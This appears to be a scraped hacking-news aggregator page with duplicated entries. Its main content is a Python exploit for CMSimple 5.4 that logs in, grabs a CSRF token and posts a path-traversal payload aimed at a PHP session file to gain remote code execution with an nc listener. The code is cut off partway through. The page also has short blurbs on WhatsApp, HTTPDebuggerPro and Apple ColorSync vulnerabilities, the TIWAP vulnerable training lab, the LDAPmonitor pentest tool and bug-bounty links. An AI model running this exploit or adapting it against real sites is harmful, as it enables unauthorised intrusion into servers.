Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
CMSimple 5.4 Local File Inclusion / Remote Code Execution
https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
CMSimple version 5.4 local file inclusion to remote code execution exploit.
MD5 |
Download
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version: CMSimple 5.4
# Tested on: CMSimple 5.4
# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities
#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup
x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds
proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
try:
global Time
s = requests.Session()
headers= {"Content-Type": "application/x-www-form-urlencoded"}
data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'
response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
if response.cookies['passwd']:
print("(+) Sucessfully Logged In With " + User + ":" + Password)
cookies = response.cookies
params = (('file', 'config'),('action', 'array'),)
response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
soup = BeautifulSoup(response.text, 'lxml')
CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
print("(+) Get CSRF Token : [ " + CsrfValue + " ]")
data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
print("(+) Changing Functions file Done ")
print("(+) Check Your nc listner on " + LPORT)
except Exception as error:
print("Error, Exiting;( ")
print(error)
pass
def fuzz():
while True:
try:
sessionName = "S1lv3r"
cookies = {'PHPSESSID': sessionName}
files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
'
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
CMSimple 5.4 Local File Inclusion / Remote Code Execution
https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
CMSimple version 5.4 local file inclusion to remote code execution exploit.
MD5 |
7d206d745fd2639b990408dc45a77919Download
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version: CMSimple 5.4
# Tested on: CMSimple 5.4
# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities
#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup
x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds
proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
try:
global Time
s = requests.Session()
headers= {"Content-Type": "application/x-www-form-urlencoded"}
data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'
response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
if response.cookies['passwd']:
print("(+) Sucessfully Logged In With " + User + ":" + Password)
cookies = response.cookies
params = (('file', 'config'),('action', 'array'),)
response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
soup = BeautifulSoup(response.text, 'lxml')
CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
print("(+) Get CSRF Token : [ " + CsrfValue + " ]")
data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
print("(+) Changing Functions file Done ")
print("(+) Check Your nc listner on " + LPORT)
except Exception as error:
print("Error, Exiting;( ")
print(error)
pass
def fuzz():
while True:
try:
sessionName = "S1lv3r"
cookies = {'PHPSESSID': sessionName}
files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
'
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
CMSimple 5.4 Local File Inclusion / Remote Code Execution
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Remote Code Execution In WhatsApp
https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Whitepaper that gives an analysis of the remote code execution vulnerability noted in CVE-2019-11932 for WhatsApp that affects versions prior to 2.19.244. Written in Spanish.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Remote Code Execution In WhatsApp
https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Whitepaper that gives an analysis of the remote code execution vulnerability noted in CVE-2019-11932 for WhatsApp that affects versions prior to 2.19.244. Written in Spanish.
MD5 |
31d209ac94755e2988452af4a8d5628eDownload
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Remote Code Execution In WhatsApp
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
HTTPDebuggerPro 9.11 Unquoted Service Path
https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
HTTPDebuggerPro version 9.11 suffers from an unquoted service path vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
HTTPDebuggerPro 9.11 Unquoted Service Path
https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
HTTPDebuggerPro version 9.11 suffers from an unquoted service path vulnerability.
MD5 |
15b26d961cda9e9ff6659150b6459669Download
# Exploit Title: HTTPDebuggerPro 9.11 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 23/11/2021
# Vendor Homepage: https://www.httpdebugger.com
# Software Link: https://www.httpdebugger.com/download.html
# Version: 9.11
# Tested on: Windows 10 x64
SERVICE_NAME: HTTPDebuggerPro
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files (x86)\HTTPDebuggerPro\HTTPDebuggerSvc.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : HTTP Debugger Pro
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
HTTPDebuggerPro 9.11 Unquoted Service Path
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Apple ColorSync CMMNDimLinear::Interpolate Uninitialized Memory
https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Apple ColorSync suffers from a use of uninitialized memory in CMMNDimLinear::Interpolate.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Apple ColorSync CMMNDimLinear::Interpolate Uninitialized Memory
https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Apple ColorSync suffers from a use of uninitialized memory in CMMNDimLinear::Interpolate.
MD5 |
adb6e755eddd6edbb2599dcfeeefff61Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Apple ColorSync CMMNDimLinear::Interpolate Uninitialized Memory
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
TIWAP : Totally Insecure Web Application Project
TIWAP is a web security testing lab made using Flask for budding security enthusiasts to learn about various web vulnerabilities. Inspired by DVWA, the contributors have tried their best to regenerate various web vulnerabilities
The application is solely made for educational purpose and to learn web hacking in a legal environment.
Setup and Installation
To keep the installation and setup easy, we have configured everything for you. All you need is Docker on your system.
Once you are done with docker installation, run the following commands.
git clone https://github.com/tombstoneghost/TIWAP
cd TIWAP
docker-compose up
Note: It works only on Linux as of now and windows compatibility is work under progress
Once the lab is started, you can log in using the default credentials.
Username:
Password:
Tech Stack
Front-End: HTML, CSS and JavaScript
Back-End: Python – Flask
Databases: SQLite3 and MongoDB
Vulnerabilities
Currently, we have 20 vulnerabilities in the lab. All listed below:
* SQL Injection
* Blind SQL Injection
* NoSQL Injection
* Command Injection
* Business Logic Flaw
* Sensitive Data Exposure
* XML External Entities
* Security Misconfiguration
* Reflected XSS
* Stored XSS
* DOM Based XSS
* HTML Injection
* Improper Certificate Validation
* Hardcoded Credentials
* Insecure File Upload
* Brute Force
* Directory Traversal
* Cross-Site Request Forgery (CSRF)
* Server-Side Request Forgery (SSRF)
* Server-Side Template Injection (SSTI)
Each vulnerability is having 3 difficulty levels, namely Low, Medium and Hard. These levels can be set from the settings page.
Download
TIWAP : Totally Insecure Web Application Project
TIWAP is a web security testing lab made using Flask for budding security enthusiasts to learn about various web vulnerabilities. Inspired by DVWA, the contributors have tried their best to regenerate various web vulnerabilities
The application is solely made for educational purpose and to learn web hacking in a legal environment.
Setup and Installation
To keep the installation and setup easy, we have configured everything for you. All you need is Docker on your system.
Once you are done with docker installation, run the following commands.
git clone https://github.com/tombstoneghost/TIWAP
cd TIWAP
docker-compose up
Note: It works only on Linux as of now and windows compatibility is work under progress
Once the lab is started, you can log in using the default credentials.
Username:
adminPassword:
adminTech Stack
Front-End: HTML, CSS and JavaScript
Back-End: Python – Flask
Databases: SQLite3 and MongoDB
Vulnerabilities
Currently, we have 20 vulnerabilities in the lab. All listed below:
* SQL Injection
* Blind SQL Injection
* NoSQL Injection
* Command Injection
* Business Logic Flaw
* Sensitive Data Exposure
* XML External Entities
* Security Misconfiguration
* Reflected XSS
* Stored XSS
* DOM Based XSS
* HTML Injection
* Improper Certificate Validation
* Hardcoded Credentials
* Insecure File Upload
* Brute Force
* Directory Traversal
* Cross-Site Request Forgery (CSRF)
* Server-Side Request Forgery (SSRF)
* Server-Side Template Injection (SSTI)
Each vulnerability is having 3 difficulty levels, namely Low, Medium and Hard. These levels can be set from the settings page.
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
LDAPmonitor : Monitor Creation, Deletion And Changes To LDAP Objects Live During Your Pentest Or System Administration!
LDAPmonitor is a Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!
With this tool you can quickly see if your attack worked and if it changed LDAP attributes of the target object.
https://blogger.googleusercontent.com/img/a/AVvXsEgX2dkXzWuz7UoCzJIkBR7qrw5pgVoqi-mjjX_L9D_3hrRiDpyNqyl3Qsa9iQhAHs62QaSWC4H5z_dtq2fIpPv03ndMLG-jdeFFZMwGRlKbDd6ZuUbHNe1Wmp84ll_swuKK9J9GieFgwWMV6QwUpxv7ZwcLOF2ly3NglEmNcK1v3ofHwiuK5mACcZmA=s1554
Features
FeaturePython (.py)CSharp (.exe)Powershell (.ps1)LDAPS supporthttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Random delay in seconds between querieshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Custom delay in seconds between querieshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Save output to logfilehttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Colored or not colored output with
Here is a few use cases where this tool can be useful:
* Detect account lockout in real time
https://blogger.googleusercontent.com/img/a/AVvXsEgyRrK65PsF8ETZv4OjaaYzowcN7LCzvc5GwxmcWSic3a4Yu5VCqrEbGd1lE-fcx2LlbnMy1hzP-9sK8rdrALZmKJnO7Z-jobM65AVnwXwsonzFUy33XdIifycE48JUVgnDnLizKm0Otd9O7AKmOvn9kFD24Y31Rv4Zr432d9SL1RWCW0AQwpvElmy7=s1857
* Check if your privilege escalation worked (with ntlmrelay’s
https://blogger.googleusercontent.com/img/a/AVvXsEj_LDk_5v07owY5OEA3HXhyYqFjJ2NFF8ACUw2MPwaovhZKuqg4WogPDmmEV6rXKBdz-eTX7qL6tSa6MH-IITHHSZhQZYwTxbtu816Miem6WU32aHromKdBkUPBQ2ej7kl_an2yr6oHgddZO2qPGCUZRP5hGc8NZxrGEJHHXFWHAtmjuVQduajBmWt2=s1156
Cross platform In Python (.py)
https://blogger.googleusercontent.com/img/a/AVvXsEgq7Ny8GcngvVKoYMVxF0cav862mrKkfCMfjM9w68OlyCAtEpaMnjooLoXrhC4zIjbFp7OpwSRdi4RGkAKPPSZYVLUX4zV2-pSmOsTJh7CdfcTGO4WNiCAJj6CZKFD4zyROtPojBObnrmBPTZxcihrr[...]
LDAPmonitor : Monitor Creation, Deletion And Changes To LDAP Objects Live During Your Pentest Or System Administration!
LDAPmonitor is a Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!
With this tool you can quickly see if your attack worked and if it changed LDAP attributes of the target object.
https://blogger.googleusercontent.com/img/a/AVvXsEgX2dkXzWuz7UoCzJIkBR7qrw5pgVoqi-mjjX_L9D_3hrRiDpyNqyl3Qsa9iQhAHs62QaSWC4H5z_dtq2fIpPv03ndMLG-jdeFFZMwGRlKbDd6ZuUbHNe1Wmp84ll_swuKK9J9GieFgwWMV6QwUpxv7ZwcLOF2ly3NglEmNcK1v3ofHwiuK5mACcZmA=s1554
Features
FeaturePython (.py)CSharp (.exe)Powershell (.ps1)LDAPS supporthttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Random delay in seconds between querieshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Custom delay in seconds between querieshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Save output to logfilehttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Colored or not colored output with
--no-colorshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/274c.png https://s.w.org/images/core/emoji/13.1.0/72x72/274c.png Custom page size for paged querieshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Authenticate with user and passwordhttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Authenticate as current shell userhttps://s.w.org/images/core/emoji/13.1.0/72x72/274c.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Authenticate with LM:NT hasheshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/274c.png https://s.w.org/images/core/emoji/13.1.0/72x72/274c.png Authenticate with kerberos ticketshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/274c.png https://s.w.org/images/core/emoji/13.1.0/72x72/274c.png Option to ignore user logon eventshttps://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png https://s.w.org/images/core/emoji/13.1.0/72x72/2714.png Typical use casesHere is a few use cases where this tool can be useful:
* Detect account lockout in real time
https://blogger.googleusercontent.com/img/a/AVvXsEgyRrK65PsF8ETZv4OjaaYzowcN7LCzvc5GwxmcWSic3a4Yu5VCqrEbGd1lE-fcx2LlbnMy1hzP-9sK8rdrALZmKJnO7Z-jobM65AVnwXwsonzFUy33XdIifycE48JUVgnDnLizKm0Otd9O7AKmOvn9kFD24Y31Rv4Zr432d9SL1RWCW0AQwpvElmy7=s1857
* Check if your privilege escalation worked (with ntlmrelay’s
--escalate-useroption) * Detect when users are login in to know when to start a network poisoning.https://blogger.googleusercontent.com/img/a/AVvXsEj_LDk_5v07owY5OEA3HXhyYqFjJ2NFF8ACUw2MPwaovhZKuqg4WogPDmmEV6rXKBdz-eTX7qL6tSa6MH-IITHHSZhQZYwTxbtu816Miem6WU32aHromKdBkUPBQ2ej7kl_an2yr6oHgddZO2qPGCUZRP5hGc8NZxrGEJHHXFWHAtmjuVQduajBmWt2=s1156
Cross platform In Python (.py)
https://blogger.googleusercontent.com/img/a/AVvXsEgq7Ny8GcngvVKoYMVxF0cav862mrKkfCMfjM9w68OlyCAtEpaMnjooLoXrhC4zIjbFp7OpwSRdi4RGkAKPPSZYVLUX4zV2-pSmOsTJh7CdfcTGO4WNiCAJj6CZKFD4zyROtPojBObnrmBPTZxcihrr[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials LDAPmonitor : Monitor Creation, Deletion And Changes To LDAP Objects Live During Your Pentest Or System Administration! LDAPmonitor is a Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!…
ri2fUwmlgJyLRnqZhE1T6CN_4A4CTd_BiWce=s1554
In CSharp (.exe)
https://blogger.googleusercontent.com/img/a/AVvXsEiKCcR0j_Q4bw6WBARoQq-GZUGnhU7TZ_mFNXT9_UAIHLx5k202p3qW8tAakPcoQR2DkWtbriqGXFDwh1oXLRLhltxwFYEidHfccJUt77bBLy_y-SSuj8XbmqjKc-7zlJB3x4MwN0ar1JircBlIUuy7aZ2XtbqROsmVxmCVuhsPryTZSRcYIpJUwqrE=s1928
In Powershell (.ps1)
https://blogger.googleusercontent.com/img/a/AVvXsEh12EfIFtx2IPaJ0jlRxPCEx0xXIAl252EcBh5tDlZ6hAiG6zvc5Q5IPVuBqXX2mnmZFMqrD8XaqyPhbVOT9mPItKZVKZAhjQAjaV3VGpjN5c8CnSUPNPlLBJW8sr1eewdg8V0dLhNOTkAuzttTZxOGkshzeRUemRHLuPdZMPAvvsa-DzVhtN6DicKS=s1539 Download
In CSharp (.exe)
https://blogger.googleusercontent.com/img/a/AVvXsEiKCcR0j_Q4bw6WBARoQq-GZUGnhU7TZ_mFNXT9_UAIHLx5k202p3qW8tAakPcoQR2DkWtbriqGXFDwh1oXLRLhltxwFYEidHfccJUt77bBLy_y-SSuj8XbmqjKc-7zlJB3x4MwN0ar1JircBlIUuy7aZ2XtbqROsmVxmCVuhsPryTZSRcYIpJUwqrE=s1928
In Powershell (.ps1)
https://blogger.googleusercontent.com/img/a/AVvXsEh12EfIFtx2IPaJ0jlRxPCEx0xXIAl252EcBh5tDlZ6hAiG6zvc5Q5IPVuBqXX2mnmZFMqrD8XaqyPhbVOT9mPItKZVKZAhjQAjaV3VGpjN5c8CnSUPNPlLBJW8sr1eewdg8V0dLhNOTkAuzttTZxOGkshzeRUemRHLuPdZMPAvvsa-DzVhtN6DicKS=s1539 Download
Introduction To Bash For System Administration and Bug Bounty Hunting
Suggested Entry-Point/Pre-Requisite For My Series: Designing, Developing, and Automating a Distributed System That Will Be Geared For Bug…Continue reading on Medium »
Read more...
Suggested Entry-Point/Pre-Requisite For My Series: Designing, Developing, and Automating a Distributed System That Will Be Geared For Bug…Continue reading on Medium »
Read more...
Directory Bruteforce
This attack is mostly used to find hidden directories on a web serverContinue reading on Medium »
Read more...
This attack is mostly used to find hidden directories on a web serverContinue reading on Medium »
Read more...
Misconfigured Social Login Leads to Permanent account access
Hello Hunters, This article is about one of my finding in which an user can access the account which is not belong to him via social login…Continue reading on Medium »
Read more...
Hello Hunters, This article is about one of my finding in which an user can access the account which is not belong to him via social login…Continue reading on Medium »
Read more...
Introduction To Bash For System Administration and Bug Bounty Hunting
https://medium.com/@daniel.j.hunt/introduction-to-bash-for-system-administration-and-bug-bounty-hunting-6003e16dc87a?source=rss------bug_bounty-5
https://medium.com/@daniel.j.hunt/introduction-to-bash-for-system-administration-and-bug-bounty-hunting-6003e16dc87a?source=rss------bug_bounty-5
Suggested Entry-Point/Pre-Requisite For My Series: Designing, Developing, and Automating a Distributed System That Will Be Geared For Bug…Continue reading on Medium » (https://medium.com/@daniel.j.hunt/introduction-to-bash-for-system-administration-and-bug-bounty-hunting-6003e16dc87a?source=rss------bug_bounty-5)